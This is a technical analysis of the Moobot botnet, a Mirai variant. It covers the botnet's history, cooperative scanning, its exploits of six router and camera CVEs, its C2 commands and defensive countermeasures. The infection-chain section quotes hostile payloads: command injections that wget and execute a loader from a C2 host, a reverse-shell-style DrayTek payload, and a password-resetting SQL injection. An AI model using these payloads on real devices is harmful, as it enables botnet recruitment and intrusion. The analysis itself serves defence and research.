Moobot: Evolved Mirai Variant Analysis

• Moobot is a Mirai variant identified in 2019, characterized by coordinated scanning, runtime decryption, and combined brute-force with multi-CVE exploits.
• It retains Mirai’s three-stage botnet model while introducing cooperative scanning and dynamic C2 management to reduce redundant probes and enhance control.
• Moobot integrates exploits against routers, CCTV, and SMB appliances using specific CVEs, resulting in a resilient but smaller botnet capable of significant DDoS peaks.

Moobot is a Mirai variant first noticed in late 2019, when 360Netlab observed a cluster of Mirai-like scanning activity from the 185.244.25.0/24 address block. It subsequently appeared in honeypots alongside other Mirai descendants, including Moobot.socks5, Moobot.tor, and Moobot.go. Within the Mirai lineage, Moobot is characterized by continuity with the original three-stage botnet model, but also by coordinated scanning, hard-coded command-and-control infrastructure, runtime string decryption, and a hybrid compromise model that combines credential brute forcing with multi-CVE exploitation against routers, CCTV devices, and SMB communications appliances (Famera et al., 3 Aug 2025).

1. Emergence and chronological development

The documented timeline places Moobot’s first observed activity in September 2019, when 360Netlab identified attacks against DVRIP, ADB, HTTP, and Telnet services in concert. A little over a year later, on March 12 2021, AT&T’s Alien Labs publicly reported Moobot’s exploits and confirmed that its codebase was actively targeting new device families. The record then associates the botnet with a sequence of operational and exploit-development milestones: Cloudflare’s mitigation of a 654 Gbps UDP flood in July 2020; joint CERT advisories in November 2020 by 360Netlab, CNCERT, and Qihoo 360 reporting weaponization of a zero-day in UNIX CCTV DVRs; FortiGuard Labs’ disclosure in September 2021 of CVE-2021-36260, which Moobot immediately incorporated; and 360Netlab’s February 2022 documentation of synchronized DDoS pushes against Ukrainian banking infrastructure, alongside Mirai and other variants, in which Moobot played an active role (Famera et al., 3 Aug 2025).

Chronologically, Moobot occupies a later phase of Mirai evolution in which public source-code availability had already enabled derivative botnets to combine legacy Mirai mechanisms with newer device-specific exploits. This suggests that Moobot should be understood less as an isolated malware family than as a continuing operational branch of the post-Mirai exploit ecosystem.

2. Architectural continuity with Mirai

Moobot retains Mirai’s original three-stage model, described as bootstrap loader → scanning bots → C2 server, but introduces several refinements. Like Mirai, it begins with a small bootstrap binary dropped after successful exploitation or credential-based intrusion. That loader then fetches the full Moobot payload from an operator-controlled C2 server whose IPs are hard-coded in the loader. After compromise, the infected host joins a centrally managed scan pool rather than functioning as a wholly autonomous scanner (Famera et al., 3 Aug 2025).

A key refinement is cooperative scanning. Instead of each infected device independently selecting random /32 targets, Moobot splits the full IPv4 space among bots. Each bot reports partial scan results to the C2, and the C2 redistributes the next sub-ranges. The source explicitly states that this teamwork speeds propagation and reduces duplicate work.

Moobot also modifies Mirai’s PRNG machinery and local evasion behavior. It replaces Mirai’s seed string, "abcdefghijklmnopqrstuvw0123456789", with "w5q6he3dbrsgmclkiu4to18npavj702f" for its custom rand_next() generator. After loading, a bot renames itself with prctl() to "/var/Sofia" and deletes its own binary from disk. In addition, strings such as port lists, user-pass tables, and C2 messages are stored in encrypted form in the executable and are decrypted only at runtime in memory using AES-like XOR streams. Taken together, these design choices indicate a Mirai derivative that preserves the canonical control flow while hardening propagation efficiency and basic anti-analysis behavior.

3. Exploit portfolio and infection workflow

Moobot is notable for integrating brute-force intrusion with a broad exploit set against IoT and edge appliances. The overview states that it stands out by chaining together five high-severity CVEs, two of which overlap with Satori, while the exploit inventory presented includes six CVE identifiers. The important operational point is that Moobot does not rely solely on Telnet-style credential attacks; it also incorporates multiple RCE, command-injection, buffer-overflow, and SQL-injection paths (Famera et al., 3 Aug 2025).

CVE	Target	Attack
CVE-2014-8361	Realtek SDK UPnP SOAP Buffer Overflow	unauthenticated NewInternalClient SOAP request; overflow leads to shellcode
CVE-2017-17215	Huawei HG532 on TCP/37215	crafted TCP packet with malicious payload triggers system()
CVE-2020-10987	Tenda AC1900 dual-band routers	authenticated HTTP POST to /goform/setUsbUnload?deviceName=;[cmd]
CVE-2020-8515	DrayTek routers’ /www/cgi-bin/mainfunction.cgi	arbitrary shell metacharacters in keyPath or rtick
CVE-2020-5722	Grandstream UCM6200 “Forgot Password” endpoint	username parameter injected to extract credentials or drop web shells
CVE-2021-36260	Hikvision IP cameras /SDK/webLanguage	HTTP PUT with XML payload containing shell metachars

The infection chain begins when scanning bots send TCP SYN packets to target ports including 23/TCP, 37215, 52869, 8080, 554, and custom DVR ports. On SYN–ACK, the bot attempts Telnet brute-force using the same 60-entry user/pass list as Mirai. If credentials fail, it attempts vulnerability exploitation. The provided exploit examples include a Tenda request that posts deviceName=;wget http://C2/loader.sh;chmod +x loader.sh;./loader.sh;, a DrayTek request that passes a reverse-shell style payload through keyPath, a Grandstream /forgotPassword SQL-injection payload that updates the password to 'attacker', and a Hikvision XML payload under /SDK/webLanguage containing $$(wget http://C2/ mips;chmod +x mips;./mips)</code>.</p> <p>Once <code>loader.sh</code> executes, it contacts the C2, downloads the full Moobot binary, sets up persistence, and deletes itself. The newly infected host is then enrolled into the C2-managed scan pool and begins exploiting new targets. A common misconception about Mirai descendants is that they remain primarily credential-stuffing botnets; Moobot’s documented workflow shows a mixed exploitation regime in which brute force is retained as a fallback, not as the sole access vector.</p> <h2 class='paper-heading' id='scanning-model-and-propagation-dynamics'>4. Scanning model and propagation dynamics</h2> <p>Moobot’s scanning behavior follows Mirai’s PRNG-based random sweeping of IPv4. The overview does not provide a closed-form LaTeX model specifically for Moobot’s infection dynamics, but it states that target generation follows:</p> <p>$$ip = \mathrm{INET\_ADDR}(o1, o2, o3, o4)$</p> <p>where$o1$–$o4$ are the successive bytes of rand_next(), skipping black-listed ranges. The skip policy is described as identical to Mirai’s skip list, excluding private, multicast, military, and certain corporate ranges (Famera et al., 3 Aug 2025).

Operationally, the scanning system is more coordinated than Mirai’s default random probing. On startup, each bot announces itself to the C2, receives an exclusive /16 or /18 subnet to scan, and returns results in UDP “heartbeat” messages every 5 seconds. The C2 replans the ranges if bots drop offline. This division of labor formalizes the earlier architectural observation that Moobot reduces redundant probing and centralizes scan orchestration.

360Netlab observed approximately 100 new IP probes per bot per second, with aggregate traffic peaking at approximately 1,800 pps for an 18,705-bot sample. In terms of spread, the overview reports that between March 2020 and May 2020 Moobot infected approximately 20,000 unique IPs in the United States and approximately 48,000 in Brazil. Cloudflare’s July 2020 telemetry further associates concurrent Moobot-style DDoS streams with a single 654 Gbps flood. These figures indicate that Moobot’s propagation was materially smaller than the largest Mirai-era surges, but still large enough to sustain significant scanning pressure and high-bandwidth attack participation.

5. Command-and-control semantics and attack operations

Moobot’s C2 protocol uses plain TCP over port 49321 by default, with fallback to 80/TCP if the default port is blocked. Message bodies are XOR-encrypted with a rotating 4-byte key negotiated at session start. This arrangement is less elaborate than full transport-layer encryption, but it is sufficient to obscure static protocol strings and to complicate trivial signature matching (Famera et al., 3 Aug 2025).

The command vocabulary documented in the overview includes NSCAN <subnet>, which assigns a bot a new /16 to scan; XEXP <CVE_ID> <targets>, which instructs the bot to launch an exploit chain for a specified vulnerability; STOPSCAN, which halts scanning when administrators begin blocking; and DOSTART <ip> <port> <method>, which begins a DDoS reflection or amplification attack. The example packet provided in hex-dump style begins with the ASCII sequence "MOOB" and includes an NSCAN directive for a target prefix, illustrating both the family-specific marker and the command structure.

The operational consequence of this C2 design is that Moobot’s scanning and exploitation are centrally schedulable rather than purely emergent. That is consistent with the documented synchronized DDoS pushes in February 2022 against Ukrainian banking infrastructure and with the earlier attribution of Moobot-style traffic to a 654 Gbps UDP flood. A plausible implication is that Moobot’s resilience derived not only from exploit breadth but also from its comparatively disciplined coordination plane.

6. Scale, device ecology, and defensive countermeasures

At its observed peak, approximately 18,705 actively scanning bots were tracked. The overview explicitly notes that this was an order of magnitude smaller than Satori’s 280k-bot surge but comparable to early-Mirai deployments. Geographic concentration was heaviest in Brazil, the United States, India, and Southeast Asia, reflecting the device footprint of Tenda, DrayTek, Hikvision, and Grandstream sales. The affected device classes included home and small-office routers such as Tenda AC15 and the DrayTek Vigor series, network-attached recorders and cameras including Hikvision and Realtek-based DVRs, and SMB PBX/UC appliances such as the Grandstream UCM6200 (Famera et al., 3 Aug 2025).

The comparative note in the source is important for interpreting impact. Original Mirai in 2016 infected approximately 65k devices in 24 hours and peaked near 600k; Satori in 2017 took 280k in 12 hours and nearly 700k total; Moobot, by contrast, used a more surgical exploit mix targeted at higher-end devices and therefore yielded a smaller but more resilient botnet able to sustain 600+ Gbps DDoS peaks in 2020. This directly counters the assumption that lower bot counts necessarily imply lower operational significance.

The defensive recommendations follow from Moobot’s hybrid intrusion model. Patch management is central: Tenda, DrayTek, Hikvision, Grandstream, and Realtek SDK devices should run firmware versions released after the relevant CVE disclosures. Credential policies should prohibit any of the 60 common Telnet/RPC default passwords and enforce strong, unique administrator credentials, with two-factor authentication where supported. Network segmentation should place IoT, CCTV, and DVR hardware on a VLAN with egress-only rules while blocking inbound Telnet, ADB, and HTTP management ports. Intrusion-detection signatures should inspect for POSTs to /goform/setUsbUnload, GETs to mainfunction.cgi with keyPath=, SQL-injection-style parameters in Grandstream interfaces, and HTTP PUT requests to /SDK/webLanguage containing "$(" metacharacters. The overview also recommends upstream firewall rules that rate-limit SYNs to high-risk ports such as 23, 37215, 52869, 5050, and 10000 to fewer than 10 per second per internal host.

In diagrammatic terms, Moobot’s lineage is described as identical to Mirai’s six-step flowchart except that the “Brute Force Infection” and “Loader Fetch” stages branch into multiple parallel exploit modules—Realtek, Huawei, Tenda, DrayTek, Grandstream, and Hikvision—each with its own payload URL and privilege-escalation sequence. That description captures the defining characteristic of Moobot within the Mirai family: not a departure from Mirai’s basic architecture, but an expansion of its exploit surface and orchestration discipline.